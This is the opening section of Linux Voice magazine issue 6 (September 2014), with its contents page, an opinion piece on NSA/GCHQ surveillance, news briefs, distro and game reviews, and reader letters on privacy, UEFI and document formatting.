DOKK Library

Linux Voice [Issue 6]

Authors Linux Voice

License CC-BY-SA-3.0

Plaintext
50% OF OUR PROFITS GO BACK TO FREE SOFTWARE




                                                                                                                                   FR
                                                                                                                                   EE
                                                                                                                                    DV
                                                                                                                                        D!
                                September 2014
115 PAGES
OF LINUX
                                ARDUINO + PYTHON           FREEDOM!               PACKAGING

                                ROBOTS!                    TOR                    APT & YUM
LEARNING                        Build an automatic         Protect your privacy   Manage your software
                                Linux powered sentry       from the NSA & GCHQ    the easy, efficient way




PI
RASPBERRY                                                                                                                          PLUS
                                                                                                                             SLACKWARE
                                                                                            Why it’s not the
                                                                                        crusty old dinosaur
                                                                                              you think it is




PROJECTS
Voice recognition >
Minecraft > Space >
Scratch > Security >
and more!


                                                                              34+ PAGES OF TUTORIALS
FORK IT Why software splits happen
KDE 5 Look deep into the soul of the Kool Desktop
                                                                                         S eptember 2014 £5.99 Printed in the UK




WAYLAND Hear from the horse’s mouth how it’s progressing

 OPEN SOURCE ART                             OLD CODE

 KRITA                                       ALAN TURING
 Paint a masterpiece                         Manchester Mark I
 with Free Software                          and the hunt for primes
                                                                                                                           WELCOME



Surely not issue 6 already!?
The September issue



Linux Voice is different.
Linux Voice is special.
Here’s why…                                                                            GRAHAM MORRISON
                                                                                       A free software advocate
      At the end of each financial                                                     and writer since the late
  1
      year we’ll give 50% of our                                                       1990s, Graham is a lapsed
profits to a selection of                                                              KDE contributor and author
organisations that support free                                                        of the Meeq MIDI step
software, decided by a vote among                                                      sequencer.
our readers (that’s you).


                                         R
                                                  aspberry Pi gets a lot of coverage. But there’s something
      No later than nine months                   often forgotten. The Raspberry Pi is a Linux computer and
   2
      after first publication, we will            Linux was chosen for a reason. Everything that people learn
relicense all of our content under       on a Raspberry Pi, whether that’s installing their first operating
the Creative Commons CC-BY-SA            system or learning to code, they’re learning to do it with Linux; a free
licence, so that old content can still   and open platform with no barriers to entry and the ultimate
be useful, and can live on even after    transferable skills cache. That’s phenomenal. Just imagine what the
the magazine has come off the            next generation of Computer Scientists might be capable of when
shelves.                                 this has been their launching platform, and what their expectations
                                         will be for openness and collaboration.
      We’re a small company, so             Almost everything you can do with a Raspberry Pi you can do
  3
      we don’t have a board of           with any other Linux device. You could almost search and
directors or a bunch of                  replace Pi with Debian or Ubuntu. Quite apart from the                 SUBSCRIBE
shareholders in the City of London
to keep happy. The only people
                                         hardware (and hello to the new Model B+!), the Pi is becoming
                                         a standard. And in my opinion, this is something Linux and             ON PAGE 60
that matter to us are the readers.       open source badly needs to improve its accessibility and
                                         sustainability. So here’s to the next 3 million!

THE LINUX VOICE TEAM                     Graham Morrison
Editor Graham Morrison                   Editor, Linux Voice
graham@linuxvoice.com
Deputy editor Andrew Gregory

                                         What’s hot in LV#006
andrew@linuxvoice.com
Technical editor Ben Everard
ben@linuxvoice.com
Editor at large Mike Saunders
mike@linuxvoice.com
Games editor Liam Dawe
liam@linuxvoice.com
Creative director Stacey Black
stacey@linuxvoice.com
Malign puppetmaster Nick Veitch
nick@linuxvoice.com
Editorial contributors:
Chris Brown, Mark Crutch, Marco
Fioretti, Josette Garcia, Juliet Kemp,   ANDREW GREGORY                     BEN EVERARD                         MIKE SAUNDERS
John Lane, Vincent Mealing, Simon        I know it may sound like a         KDE is finally getting its act      I now have a small blinking LED
Phipps, Jos Poortvliet, Les Pounder,     nascent bromance, but I love       together, so its great to see the   attached to my Raspberry Pi
Valentine Sinitsyn                       Ben’s robot arm Nerf gun sentry    community with firm plans for       telling me when the ISS passes
                                         robot thing p90                    the new release p30                 above, thanks to our feature! p18



                                                          www.linuxvoice.com                                                                   3
                 CONTENTS


                                                                                                                                        September LV006
   The ninth project: create 115 page of awesome. Mission accomplished!
                                                                                       18     REGULARS



                                             8
SUBSCRIBE                                                                                           News
                                                                                              06
ON PAGE 60                                                                                          The NSA is watching us
                                                                                                    drool over the new Model B
                                                                                                    Raspberry Pi.
                                                                                              08    Distrohopper
                                                                                                    Try Voyager 14.04, Netrunner
                                                                                                    and RHEL; and think on when
                                                                                                    you name your next project.

                 RASPBERRY PI PROJECTS                                                        10    Gaming
                                                                                                    Civilization: Beyond Earth is
                                                                                                    coming to Linux. All other
                        Track a space station, program                                              activity rendered pointless.

                      Minecraft, set up a security cam and                                    12    Speak your brains
                                                                                                    Let us know what’s going on in
                        more. What are you waiting for?                                             your precious cerebral cortex.
                                                                                                    Not you, Crown Prince Ekoku!

                                                                                              16    LV on tour
                                                                                                    The grapevine tingles with
                                                                                                    news from Edinburgh, Verona
                                                                                       30           and Bristol.

                                                                                              40    Interview
                                                                                                    Daniel Stone, one of the
                                                                                                    movers and shakers behind the
                                                                                                    Wayland display server.

                                                                                              54    Group test
                                                                                                    Do your productivity a favour
                                                                                                    by switching to one of these
                                                                                                    tiling window managers.

                                                                                              60    Subscribe!
                                                                                                    And whet your appetite for
                                                                                                    the feast of Free Software
                                                                                                    to come in LV007.

                  Why KDE 5 is going to rock, and avoid the                                   62    Cloud admin
                                                                                                    Build, ship and run
                       blunders of early 4.x releases                                               distributed applications with
                                                                                                    containers and Docker.
                                                                                              64    Core technologies
                                                                                                    More arcane lore from
                                                                                                    Dr Chris Brown’s
                                                                                                    compendium of Linux.
                                                                                              68    FOSSpicks
                                                                                                    Picks so free, they’re freer
                                                                                                    than a bird dressed up as
                                                                                                    William Wallace.
                                                                                              110   Masterclass
                                                                                                    Keep tabs on your hard
   34
        FORK IT                   38   FAQ: KRITA               26   SLACKWARE                      drive with Smart and
        Projects sometimes             Apart from being              Meet the oldest distro         GSmartControl.
        split, but it’s usually        Swedish for ‘crayon’,         in town – it still has   114   My Linux desktop
        for the best – here’s          this image editor is          many fans. Once you            Boudewijn Rempt, the main man
                                                                                                    behind Krita, invites us into his
        why it happens and             beating Gimp at its           try Slackware, there’s         mysterious den.
        how we’ve all gained.          own game.                     no going back.


   4                                                      www.linuxvoice.com
TUTORIALS                                                                     REVIEWS
  76                                        78




                                                                                   CentOS 7
Krita: Get started with               Build a quiz in Python,
                                                                              46

                                                                                   This respin of Red Hat
brush modes and layers                EasyGUI and Pygame                           Enterprise Linux brings all the
                                                                                   features at none of the cost.
Paint your masterpiece with Free      Use functions, variables and
Software and the Divine Stallman.     lists to expand your skills.

  82                                    86




                                                                              48   Minetest
                                                                                   Immerse yourself in a blocky
                                                                                   world of digging and building.
Tor: Encrypt your                     Linux 101: Master your                       Wait – that sounds familiar!
internet traffic                      package manager                         49   Opera Developer 24
You may not have anything to          Find out what’s going on at the              Shock horror – a non-free web
hide, but you can still help.         heart of your Linux distro.                  browser for Linux. The thing is
                                                                                   though, it’s actually jolly good…

  90                                    98
                                                                              50   AfterShot Pro 2
                                                                                   Bibble became AfterShot which
                                                                                   has now become version 2.
                                                                                   Can this release be the Adobe
                                                                                   Lightroom for Linux?

                                                                              51   Harmony Smart Control
                                                                                   Logitech wants to replace your
                                                                                   ever-growing bundle of remote
Arduino & Python:                     Sigil: Create quality                        controls with a single mobile
                                                                                   application. Is it made of win?
Build robotic weaponry                ebooks for any OS
Add face recognition software         Self publishing is the future of the    52   Books Something old,
to a toy gun. Mayhem ensues!          novel, so why not try it today?              something new, and something
                                                                                   that has us terrified of the NSA.
102
      Code ninja: Callbacks           104
                                            Alan Turing and the
      and non-blocking IO                   Manchester Mark I
      Let your JavaScript flow free         Nazis defeated, our hero
      as a mountain stream.                 Turing is just getting started.



                                                 www.linuxvoice.com                                                    5
    ANALYSIS




NEWSANALYSIS
The Linux Voice view on what’s going on in the world of Free Software.
Opinion



The surveillance state
We are being spied upon more than ever – but this truth has been twisted and denied by some.

                          Simon Phipps                 They have a variety of explanations why        disclosures suggest that it is limited by rule
                          is president of the      it’s all legally gathered. Some is on open         and the threat of audit, and not actually by
                          Open Source Initiative
                                                   websites. Some is “public” in the sense that       any technical means. As a consequence,
                          and a board member
                          of the Open Rights       it passes through unsecured intermediaries         agents have to consciously ignore out-of-
                          Group and of Open        that anyone could theoretically observe.           scope results from tools like XKeyscore.
                          Source for America.      Some is private, but can be gathered
                                                   because of their interpretation of certain         Let’s go fishing
                                                   legal doctrines (“sent abroad” for example,        Using metadata is considered OK as it is
                                                   when the service provider is in a different        simply the ‘public’ aspect of the contents of
                                                   country to the originator), which allows them      the data lake. Metadata helps target the



A
          s revelations from the whistle-          to treat it as public.                             fishing more accurately, but it can also be
          blowing by Edward Snowden                                                                   used to ‘triangulate’ and determine facts
          continue to flow, activists              Public or private?                                 directly. It’s an open question whether using
increasingly say we are the subjects of            Intelligence agencies are thus slurping up         varied metadata to triangulate on private
extensive, even blanket surveillance. The UK       enormous quantities of data in a wide range        facts is surveillance.
government vigorously denies this, saying          of protocols and contexts, far more than              So when Theresa May says “there is no
we do not live in a surveillance society. It       could ever be appropriate for any                  programme of mass surveillance and there
turns out both are right -- here’s why.            investigation. Why are they doing this?            is no surveillance state” and responds to
   GCHQ, the NSA and probably every other          Because otherwise the data would be lost by        claims that GCHQ engages in unlawful
intelligence agency worth the name are             the time they knew they needed it. They are        hacking as “nonsense”, she is probably
actively gathering data from the internet.         not actually looking at most of it, at least not   speaking the truth according to her chosen
Everything on the internet is transient, with      straight away. All they are doing is making        frame of definition (in the same sense as Bill
different decay periods, so gathering              transient data persist – they are caching.         Clinton’s statement “I did not have sexual
information is a constant process. They            They are not breaking any rules by doing so        relations with that woman” was true). There
believe everything that can be gathered            (at least according to their own legal             is certainly a well-considered system of rules
without illegal action is fair game, so they       outlooks). They are simply engaged in              that make her statements precisely true.
gather anything and everything they can,           blanket data gathering to the limits of the           Her denial is still disingenuous. Most
storing it just in case.                           legality they understand for their acts. The       people would expect her words to mean no
   They are without doubt capturing and            result is truly enormous “data lakes”.             surveillance is happening. But a vast lake of
recording all and any email, instant                  To study the data is a different thing, in      data is being “persisted” for future analysis,
messages, web pages, social media traffic          their view. According to their legal advisors      and a large quantity of metadata is also
and so on. Recent disclosures (www.                “wire tapping” or “hacking” starts at the point    retained to decide where in the lake to go
theguardian.com/world/2013/jul/31/                 they actually have a human being analyse or        fishing. Her attempt to divert us from this
nsa-top-secret-program-online-data)                interpret the data. The NSA’s XKeyscore tool       truth is itself a signal of a problem.
reveal that the NSA collects “nearly               provides such a capability, and undoubtedly           The intelligence services and the public
everything a user does on the internet” and        GCHQ and other agencies have similar tools         officials they hide behind know we would be
then offers analysts tools to search the data      for fishing in their own data lakes. They          alarmed both by the volume of data they
thus cached.                                       claim that access to the lake is limited, but      hold on us and by the way it is manipulated
                                                                                                      and would rather we stopped asking
                                                                                                      questions. That’s exactly why we need
“Everything on the internet is transient, so                                                          organisations like the Open Rights Group
gathering information is a constant process.”                                                         and the Electronic Frontier Foundation to
                                                                                                      keep asking.



6                                                              www.linuxvoice.com
                                                                                                                ANALYSIS


    Raspberry Pi • Russians • OwnCload • Ardour • Allseen Eye • Linux Extremism




CATCHUP                                        Summarised: the biggest news
                                               stories from the last month

          Raspberry Pi Model B+                        Russian government to                       OwnCloud 7 Beta sports
   1      adds USB ports, micro SD              2      ditch Wintel for Linux               3      new features galore
           Mere nanoseconds before                     It’s all getting a bit Cold                 We’re big OwnCloud fans here
we went to press, the Raspberry Pi           War-esque, with increased tensions          at Linux Voice HQ, and this snapshot of
Foundation announced an updated              between the West and Russia over            the upcoming version 7 has plenty to
board: Model B+. This adds more GPIO         Ukraine. Now the Russian government         explore. The interface has been refined,
pins (taking the total to 40), two extra     has announced a change in policy from       there are new sharing features, and the
USB ports, and a micro SD card slot.         2015 onwards: its departments will          Documents editor gets annotations and
The board is now neater and smaller,         no longer buy PCs with Intel or AMD         Microsoft Word support. Full details at:
and much work has been done to               chips running Windows, but systems          http://tinyurl.com/oe3wr7n
make it less power hungry: “we’ve            based on the home-grown Baikal CPU.
taken between 0.5 and 1 watt of power        Moreover, Linux will be the standard
consumption out of the device”, Liz          operating system. The Kremlin expects
Upton told us. Stay tuned for more on        to buy 700,000 PCs with the new setup
the Model B+ next issue!                     next year – a big migration to Linux.




          Ardour digital audio                         Microsoft joins AllSeen                     100+ GitHub repositories
   4      workstation low on cash               5      Alliance, a project from             6      taken down after DMCA
          Many Free Software and                       The Linux Foundation                        notice from Qualcomm
open source projects survive solely          Is this post-Ballmer Microsoft going to     Lawyers at wireless networking giant
from donations, and that’s how Ardour        be a better player in the FOSS world?       Qualcomm have thrown a hissy fit
has kept going over the years. The           It’s too soon to tell, but the previously   over alleged copyright infringement
lead developer has said he doesn’t           GPL-dissing company has just joined         on GitHub. Over 100 projects on the
like begging for more money, but as          the AllSeen Alliance, a group effort to     popular code-sharing site have been
donations have slowed down in recent         create an open source platform for the      taken down, including a CyanogenMod
months, he’s finding it hard to keep         “Internet of Things”. The Alliance was      repository, but the justification has
working on the application full time. If     kickstarted by The Linux Foundation,        been controversial, as many GitHub
you’re an Ardour user, you can help out      and now counts LG, Sharp, Panasonic,        developers claim that they’re only using
by taking out a subscription that helps      Cisco, D-Link, HTC and other big-name       code and specification documents
to fund features and documentation:          companies as members.                       originally made free by Qualcomm itself.
http://tinyurl.com/meg4cyd                   www.allseenalliance.org                     http://tinyurl.com/pptf686




          Automotive Grade Linux                                                                   Use Linux? You might be
   7      issues first release                                                              8      an “extremist”, says NSA
           In other Linux Foundation                                                               If you’ve ever been to the Tor
news, the first version of Automotive                                                    website, tried the Tails distro or even
Grade Linux is available to download.                                                    done general web searches for software
This is a “Linux-based software stack                                                    that provides privacy or anonymity, the
for the connected car”, designed as                                                      NSA may be tracking you. Yes, new
a reference implementation for car                                                       leaks have shown that the US spying
makers to build upon. It features                                                        operation regards Tor and Tails as tools
Google Maps integration, media                                                           advocated by “extremists”, and even
playback, Bluetooth phone connectivity                                                   places where they’re discussed, such as
and a snazzy user interface. The stack                                                   Linux forums, are labelled in the same
has solid backing: Intel, Fujitsu, NEC, TI                                               way. So just visiting Linux-related sites
and Toyota, among other companies.                                                       can have the spooks following you.
http://tinyurl.com/o24h7az                                                               Time for a new internet, we thinks…




                                                      www.linuxvoice.com                                                             7
     DISTROHOPPER




DISTROHOPPER
We’ve tapped GCHQ’s communications to find out what’s going on in distro land.


Voyager 14.04
Xfce, your time has come.


X
          fce is a great desktop environment,
          but up until now we’ve associated it
          more with function than style. It
does what we want and doesn’t burn
through too many system resources. After
trying out Voyager 14.04 though, we might
have to rethink that classification. It comes
with a vibrant white and blue theme, and a
good set of icons and artwork. As you may
have guessed, Voyager is based on Xubuntu
14.04, which is an LTS release, has all the
software you’d expect from a *buntu, and
should get all the security updates as well.
   The project has a good website with some
helpful tutorials. Unfortunately for us, they’re
all in French, though they do provide a link to    The terminal session also has an unusual, but quite useful, two-line prompt.
Google Translate to help us foreigners. This
does a decent job, but when things get             little bit of theming. If you’re after a good-       add-ons have slowed down Xfce a bit, so it
technical, it can come up short.                   looking GTK 2 desktop environment, this              may not be the best distro for a low-power
   Overall, Voyager is an excellent                shows that it can challenge Mate running on          PC, but we didn’t find it was too drastic on
demonstration of what Xfce can do with a           Linux Mint. It did feel like all the fancy           our test machine.




Netrunner 14
One of our favourite KDE distros just got even better.


B
         lue Systems first hit the headlines in       The desktop is heavily themed, and it’s
         2012 as a mysterious German               this that separates it from Kubuntu, on
         company that sponsored Mint KDE,          which the distro is based. In the bottom-left
took over Kubuntu, and employed some well          lies a Kicker menu, which feels more like the        We’ve tried the Kubuntu-based Netrunner 14,
known KDE developers. Its first software           applications menu from GTK-based distros             but there’s also a version based on Arch Linux.
release was two years before this, though, in      rather than the more traditional KDE
2010 when the first version of Netrunner           offering. Netrunner also strays from                 getting better with each release. Part of this
came out. We now know a little more about          standard KDE by purging the dreaded blue             is due to Blue Systems supporting projects
Blue Systems. It’s run as a philanthropic          glow behind the active window. This is               that fill in critical gaps in the KDE experience.
venture by Clemens Tönnies Jr, a German            replaced by a less-offensive grey shadowing.         For example, Muon Discover now brings a
businessman who inherited a large                  The one thing we weren’t keen on is the              great software centre experience to Qt. This
proportion of a meat processing company.           large icon sizes, which take up an                   provides a much nicer experience than
   Netrunner may not be a famous KDE               unnecessarily large amount of screen space           traditional package-based tools.
distro, but it certainly comes from an             – but this is easy to fix.                               Netrunner deserves more attention than
organisation with the resources and talent to         We’ve been following the development of           it’s often given. If you’re after a well-set up,
make a top-notch distro.                           Netrunner for some time, and it’s been               well-themed KDE distro, it’s one of the best.



8                                                              www.linuxvoice.com
                                                                                                                                  DISTROHOPPER



Red Hat Enterprise Linux 7
The number-one enterprise Linux distribution gets a major update.


R
         ed Hat is a giant of commercial
         Linux, but few Linux users actually
         use its Enterprise Linux distribution
because of its high licensing fees. However,
there’s a free 30-day trial version available
for those who want to take a tour of the
latest version – Red Hat Enterprise Linux 7.
   The client (desktop) version comes with
the Gnome 3 desktop, but by default, it
starts it in classic mode to keep it familiar to
Gnome 2 users – Red Hat isn’t about to
drastically change the look of its premium
product, because its entire business is built
upon stability and reliability.
   Perhaps the biggest surprise for someone
coming from other distros is the use of the
XFS filesystem. This now supports sizes up
to 500TB (yes, that’s half a petabyte). BTRFS
is available, but the literature describes it as
‘young’, which may be Red Hat’s way of
saying they’re not ready to trust it yet. Active        The trial version is fun to play with, but without a subscription, you can’t access the repositories.
Directory is now supported, which could
ease the load for a few sysadmins.                      distros, but Red Hat is touting its close              upgrades, which Red Hat claims make the
   Of course, Red Hat isn’t really about                partnership with Docker Inc. (the company              new version 11–25% faster.
desktop users. It is, at its heart, a server OS.        behind the technology), and is working hard              The CentOS team are working on the
Here, the big news is the support for Docker.           to make RHEL the best platform on which to             community build, which may even be
Of course, Docker does run on most Linux                use it. There are also the usual bundle of             available by the time you read this.


  BBQ Linux & Linux BBQ A tale of two distros

  These two distros have nothing in common
  except very similar names.
     Linux BBQ is a live distro designed purely to
  enable you to test out different window
  managers. In the latest version, there are 76
  different window managers ready to try without
  you needing to install anything. It’s a little hard
  to think of an occasion when you need 76
  different window managers, but there is a bit of
  geek-pleasure to be had from finding exactly the
  right one for you.
     BBQ Linux, on the other hand, is a
  distribution built for Android developers, so it’s
  got Android Studio, the Android SDK and a host
  of other apps. According to the project’s
  website, it’s got everything you need to build an
  Android Open Source Project (ASOP)
  distribution like Cyanogenmod, and it’s based on
  Arch with the Mate window manager.
     There are a lot of Linux distributions, but
  when there are 600,000 words in the Oxford
  English dictionary, you should be able to find
  something original for your software. There are,
  no doubt, some slightly confused phone
  developers out there wondering why they have
  to pick a window manager before working on            Linux BBQ and BBQ Linux provide a salutory warning to aspiring developers: check that the
  their new app.                                        intended name of your project isn’t already in use before you release it!




                                                                     www.linuxvoice.com                                                                         9
     GAMING ON LINUX




GAMING ON LINUX
The tastiest brain candy to relax those tired neurons

 OPEN UP
                                             XCOM: Enemy Unknown
                                             The invasion has begun!


                                             X
                                                      COM: Enemy Unknown,
                                                      a high-profile reboot of                                                   Not your traditional
                                                                                                                                      base building.
                                                      the XCOM series has
                                             been released on Linux to great
                                             fanfare.
                                               XCOM: Enemy Unknown
                                             mixes base building, research
 Liam Dawe is our Games Editor and
 the founder of gamingonlinux.com,           and turn-based combat in one
 the home of Tux gaming on the web.          absolutely beautiful package
                                             and just goes to show how far


 Y
          ou might expect us to say          Linux has come in developers’
          this, but opening up the           and publishers’ minds for us to
          source code of a game can
                                             get such a high-profile game.
 better for everyone. It’s a hot topic
 and one that has been talked about            The original XCOM is one            about it. There’s a pack          more. We highly recommend
 for years, but it seems that bigger         of the best strategy games            available for it called “Enemy    taking a look at this one, as the
 developers still don’t quite                ever made and this reboot             Within”, which adds a ton of      importance of games like this
 understand that they can still sell         really does it justice. It takes      new content including new         on Linux cannot be overstated.
 their game even if the source code is
                                             the original and amplifies            multiplayer maps, new types       http://store.steampowered.
 available for free.
     The first thing to note is that for a   everything that was good              of aliens and much much           com/app/200510
 game to be open source it doesn’t
 mean that the media needs to be. So,
 the games engine can be open, but
 the art, music, voiceovers etc can still
 be closed assets, meaning the engine
 by itself wouldn’t be the game. This
                                             Civilization: Beyond Earth
 way it keeps the developer’s revenue        A classic redefined and coming to Linux!
 streams open. True, this it may open



                                             W
 the developer up to game clones, but                     ow! Another
 unless your game were extremely
                                                          high-profile game
 simple that wouldn’t be an easy task.
     Having the code open actually                        getting a Linux
 enables others to port the game to          version! Remind us to check if
 platforms that the original developer       hell has frozen over. Civilization:
 may have never considered or been           Beyond Earth is the next
 able to do themselves, opening up
                                             iteration of the extremely
 more places to sell their game. Ports
 aren’t the only thing opening up the        popular Civilization franchise,
 code allows, as it will also stop the       although it shares certain
 game from falling behind with newer         aspects of Sid Meier’s Alpha
 operating systems to enable code            Centauri as well. The Civilization
 changes to support computers as                                                                                           Tile-based gameplay has
                                             series are usually included in                                                 never been so beautiful
 they get more and more complex.
     There is also the fact that if you      Steam’s most popular games,
 manage to get a community behind it         so it’s another barrier removed
 other coders can help improve the           for Linux gamers.                     set on another planet some           It will most likely be available
 code itself to optimise it and give             For those who don’t know          interesting looking creatures     from Steam just as the others
 feedback for future projects. If
                                             it’s a turn-based strategy game       are bound to be found too.        are, so you will have to set any
 anyone from Frontier Developments
 is reading – open source is good!           full of exploration, diplomacy,          The game is due for release    fears about Steam aside if you
 http://forums.linuxvoice.com                research and combat.                  this autumn, so we still have a   wish to play it.
                                             Considering this iteration is         bit of waiting to do.             www.civilization.com



10                                                                 www.linuxvoice.com
                                                                                                                  GAMING ON LINUX


Homefront The Revolution                                                                           ALSO RELEASED…
Viva la Linux Revolución!


C
         rytek is spoiling Linux gamers
         this year with a beautiful new
         first-person shooter. The original
Homefront was by a completely different
developer and is only coming to Linux
thanks to Crytek porting its CryEngine to
Linux as well.
   One thing Linux is lacking is big-name                                                          Quest of Dungeons
FPS games to draw in more gamers who                                                               For those of you who like your simple, but fun
like their Call of Duty-like games, so this                                                        dungeon crawler games, Quest of Dungeons
could hit a sweet spot for a few Linux                                                             will fit that bill nicely. It comes complete with
converts. The game is set in the near                                                              procedural dungeons, procedural weapons,
                                                                                                   boss monsters and a ton more.
future as America has been conquered by                                                              Don’t let the simple graphical style fool you,
an unspecified army, and you play the role                                                         as this game has hours worth of game-play
of a member of the resistance. The game                                                            and it’s not easy either.
isn’t your standard run and gun shooter                                                            http://store.steampowered.com/app/270050
either, as it’s more of an open world first
person shooter. We’re intrigued to see how
far the open world aspect goes, as the
developers promise that the city will react       Maybe the redcoats have come back?
to your decisions.
   It sounds like fun and we can’t wait to        www.crytek.com/games/homefront/
get our hands on it.                              overview




Interstellar Marines                              Kill Fun Yeah
Pew pew pew!                                      An insane 2D action platformer.
                                                                                                   ADOM: Ancient Domains of Mystery
                                                                                                   ADOM is an extremely popular true roguelike
                                                                                                   game with an ASCII graphical mode for those
                                                                                                   after a nostalgic/retro vibe and a tiled-graphics
                                                                                                   mode to play your adventure with.
                                                                                                      It’s bursting with content, like a story, RPG
                                                                                                   mechanics, exploration across the lands and
                                                                                                   into dungeons and caves and it just keeps
                                                                                                   going. It can be a little overwhelming though if
                                                                                                   you haven’t played a proper roguelike before.
                                                                                                   www.ancardia.com


Another first-person shooter to sink your         Kill Fun Yeah is an absolutely insane online
greedy gaming fingers into is Interstellar        2D action platformer, and when we say
Marines. We’ve known for a long time that         insane we mean it. This is the type of
the game would be coming to Linux, and            game where you can quite happily sit back
now it’s finally a reality. It’s early days yet   with a beer and watch a friend die over
for this shooter as it is an “Early Access”       and over. The game is extremely amusing
title, so if you do fork out for it, prepare      for its use of crazy weapons that you can
for an incomplete experience, but still a         redirect after you fire them, with
fun one.                                          ridiculously enjoyable results.                  Anomaly Defenders
    It’s one of the few first-person shooters         It has a couple of different game-           The last in the Anomaly series is now out on
to really try to do things differently even       modes to keep you interested too, such           our digital shelving units and available for
this early in its development. Maps               as deathmatch, team deathmatch and               Linux. Anomaly Defenders is a tower offence
                                                                                                   game that sees you launching your counter
can turn from day to night, completely            capture the flag, although they always give
                                                                                                   attack agains aliens that have invaded the
changing the way you play it during a             capture the flag a silly name.                   earth. It has the standard Anomaly features
match, and it makes it a completely                   Kill Fun Yeah has already stolen plenty of   and solid gameplay, so it’s not to be missed!
original, unique challenge to play.               time from us, so be warned you may get a         https://linux.gamesrepublic.com/bundle/
http://store.steampowered.com/                    little addicted.                                 strategy,anomaly-defenders-anomaly-2,368.html
app/236370                                        www.killfunyeah.com



                                                                www.linuxvoice.com                                                                     11
     MAIL




                           YOUR LETTERS
                            Got something to say? An idea for a new magazine feature?
                            Or a great discovery? Email us: letters@linuxvoice.com



             LINUX VOICE STAR LETTER
  STUCK IN A RUT
  I’ve been messing about with         information from the internet
  different kinds of Linux for         is at times like drinking water
  a while now – I started with         out of a fire hose. So come
  Ubuntu, then Kubuntu, which          on, Linux Voice – spare me
  was the easiest way to try           the flame wars and let me
  KDE, then Mageia, because            know what I should try next.
  I figured that it was built for      David Jahović, Melbourne
  KDE, rather than having KDE
  bolted on to it like Kubuntu.        Andrew says: We’ve had a few
  But now I’m stuck. I know            emails in this vein, so we’re
  that there’s loads of choice         planning a distro comparison
  out there, but sometimes             for next issue. Until then, give
  I feel like using the dread          Elementary OS a try. It’s pretty,
  phrase: “There is too much           it’s fast, and we love it!
  choice”. Truly, getting                                                   Elementary OS provides a fresh new spin to the Linux desktop.



I ALWAYS FEEL LIKE SOMEBODY’S WATCHING ME
I wonder if the seeming lack               methods can I use to protect my                                                      The only way to be sure
of privacy and security on the             online life?                                                                         that you’re not being
internet due to either breaches               I think all this falls into a larger                                              spied on is to use free
or even government agencies                category such as even being                                                          software. There is no
peeking into every corner will             able to use cloud storage and                                                        other way.
slowly destroy all the benefits the        protect the data. Especially true
internet has brought us? How do I          since encryption can be called
use the internet and still maintain        into question just with the recent
my privacy? As an example, I love          events relating to Truecrypt.
that way that I can put an event              Has anyone looked into
in my calendar and have it remind          Penango, which is supposed to
me on my computer and phone                allow you to encrypt your Gmail
for things even as simple as a             in a browser (free accounts get
birthday. I used to use it to remind       free encryption) and allow you
me of an eye, medical, or dental           to use a key you have stored on
appointment, but I use it very             your computer rather than having           who wants to pay for it, or who can
seldom now for my own privacy              to give them access to it if I             produce a warrant for it.
and security. If I use one of the          understand it correctly?                     The only way to guarantee your
popular calendars like Google              Steve Cox                                  data is safe is to use your own
calendar, who is seeing or could                                                      software – OwnCloud, for example,
see all of my personal daily life?         Andrew says: It’s a safe assumption        provides a calendaring service that
   Is there such a thing as a              that the data you put into Google          you know for sure won’t be shared by
secure calendar? What reasonable           Calendar is being shared with anyone       any nefarious third parties.



12                                                                 www.linuxvoice.com
                                                                                                                                         MAIL



UEFI                                                                                                          DOC FORMATTING
I am in the process of building a                                                                             Here’s a tip I learned recently
home-use PC, just to see if I can.                                                                            which might be of use to people.
Hopefully I will learn a lot in the                                                                           Someone sends you a doc file and
process. At the moment I am                                                                                   you’re not sure if it is formatting
looking at the UEFI issue. I think                                                                            properly in LibreOffice (yes, it
the general census is that it’s here                                                                          happens sometimes). Upload
and we need to work with it.                                                                                  the file to your Google Drive, then
   UEFI is, apparently, built by ‘The                                                                         right-click and select “open with
Unified EFI Forum’, which consists                                                                            Google Docs”, then “Download
of AMD, American Megatrends,                                                                                  as PDF”. Hey presto, you can
Apple, Dell, HP, IBM, Insyde                                                                                  see the correct formatting for the
Software, Intel, Lenovo, Microsoft,                                                                           document.
and Phoenix Technologies working                                                                              Owain Clarke, Hampshire
                                                                                  If you want to know
on a non-profit basis. High-               My question is, if I have a
                                                                                  more about UEFI
powered groups there then. It           motherboard with a UEFI loading           bootloader installation,    Mike says: Cheers Owain! Though
seems UEFI is about 100MB of            disk, do I have to use it? For a          check out our tutorial in   as I seem to spend so much of my
information that sits on its own        home builder, it looks like the only      issue 2.                    time hanging out with the LibreOffice
partition and is in effect a self-      reason to load this thing up is to                                    developers now I have to challenge
updating OS at boot. Can I assume       give the ‘Unified EFI Forum’                                          you to a duel for implying that it ever
that all those benign interests will    unfettered access to my home PC.                                      works less than perfectly.
have direct access to this              Is this security – and if so, whose?
bootloader?                                I know this topic is in flux and
   It’s a vast improvement on BIOS      there is so much discussion it’s
as it offers finer tuning and           reaching ‘groan’ status but I am
tweaking for the user as well as        on a learning curve and would very
greater security, since every bit of    much appreciate any pointers.
code has to be signed and ratified.     Steve Taylor
Some Linuxy OSes already work
with this ‘signing’ process, and        Ben says: We think UEFI is enough of
others recommend turning off the        an improvement over the BIOS that
security feature. UEFI also offers      we’d go with UEFI. The BIOS won’t be
BIOS as an option.                      around for much longer. Early reports
   So, if I am building my own PC       of Microsoft’s SecureBoot hegemony
and given that the only time I have     have failed to materialise, and we’re
used the BIOS is to change the          almost certain you’ll still always have
boot sequence; then I turn off          the choice of disabling it. UEFI can be                               LibreOffice is so good that it’s rare
signing, what is left of UEFI for me,   tricky to install, but it’s also a good                               for a file to ever open with messed up
the user?                               opportunity to learn something new.                                   formatting, but it does happen.




                                                               www.linuxvoice.com                                                                   13
     MAIL



            AMAZING GRACE
            I just picked up my first copy
            of Linux Voice (May issue) last
            week. What a great mag. I was
            particularly impressed with the
            article on Grace Hopper. “We stand
            on the shoulders of giants”, and
            this is another great example.
            I have the utmost respect and
            admiration for our predecessors in
            all fields.
               I have been playing with
            computers since before the
            Commodore 64, and have
            enjoyed programming in various
            languages, including Basic,
            Pascal, VBA and C++. I really like       Distribution shenanigans have meant
            the coding theme in your mag.            that issue 2 spread across the USA
            The building a Pi-based arcade           slowly, but normal service should have
            machine was another item that            resumed by now.
            made me pick up my first issue.
               Congratulations on a great mag.       had to include another four pages in
            I’m waiting to see the next issue at     this issue to look at the post-work he
            my newsagents.                           did with the Manchester Small Scale
                                                     Experimental Machine, better known
            Andrew says: We do indeed stand on       as Baby, and the Manchester Mark I.
            the shoulder of giants, and we’re only      These old code tutorials seem
            too happy to pay homage to them in       to have gone down well – maybe
            these pages. Alan Turing, for example,   we should turn them into a book.
